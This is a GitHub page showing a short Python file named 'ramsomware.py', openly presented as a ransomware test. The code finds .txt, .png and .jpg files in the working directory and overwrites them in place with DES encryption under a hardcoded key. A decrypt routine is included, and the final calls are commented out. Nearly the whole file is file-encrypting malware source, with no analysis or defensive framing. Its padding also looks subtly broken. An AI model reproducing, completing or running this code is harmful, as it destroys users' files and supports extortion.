-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathramsomware.py
58 lines (46 loc) · 1.38 KB
/
ramsomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
## Author: Mike16
import os
import sys
try:
from Crypto.Cipher import DES
except:
print("You must install Crypto")
##################################################
print("Ramsomware test")
##################################################
files = [".txt", ".png", ".jpg"]
encryption = DES.new('12345678')
def searchDirectory():
filesCurrentDirectory = os.listdir(os.getcwd()) #Change
filesSuccess = []
for x in filesCurrentDirectory:
for y in files:
if x.find(y) != -1:
filesSuccess.append(x)
break
return filesSuccess
#cryptFiles(filesSuccess)
def cryptFiles(filesToCrypt):
for x in filesToCrypt:
data = ""
with open(x, 'rb') as file:
data = file.read()
file.close()
with open(x, 'wb') as file:
while(len(data) % 8 != 0):
data += str(1)
dataCrypt = encryption.encrypt(data)
file.write(dataCrypt)
file.close()
def decryptFiles(filesToDecrypt):
for x in filesToDecrypt:
cryptData = ''
with open(x, 'rb') as file:
cryptData = file.read()
file.close()
with open(x, 'wb') as file:
dataDecrypt = encryption.decrypt(cryptData)
file.write(dataDecrypt)
print("Done")
#cryptFiles(searchDirectory())
#decryptFiles(searchDirectory())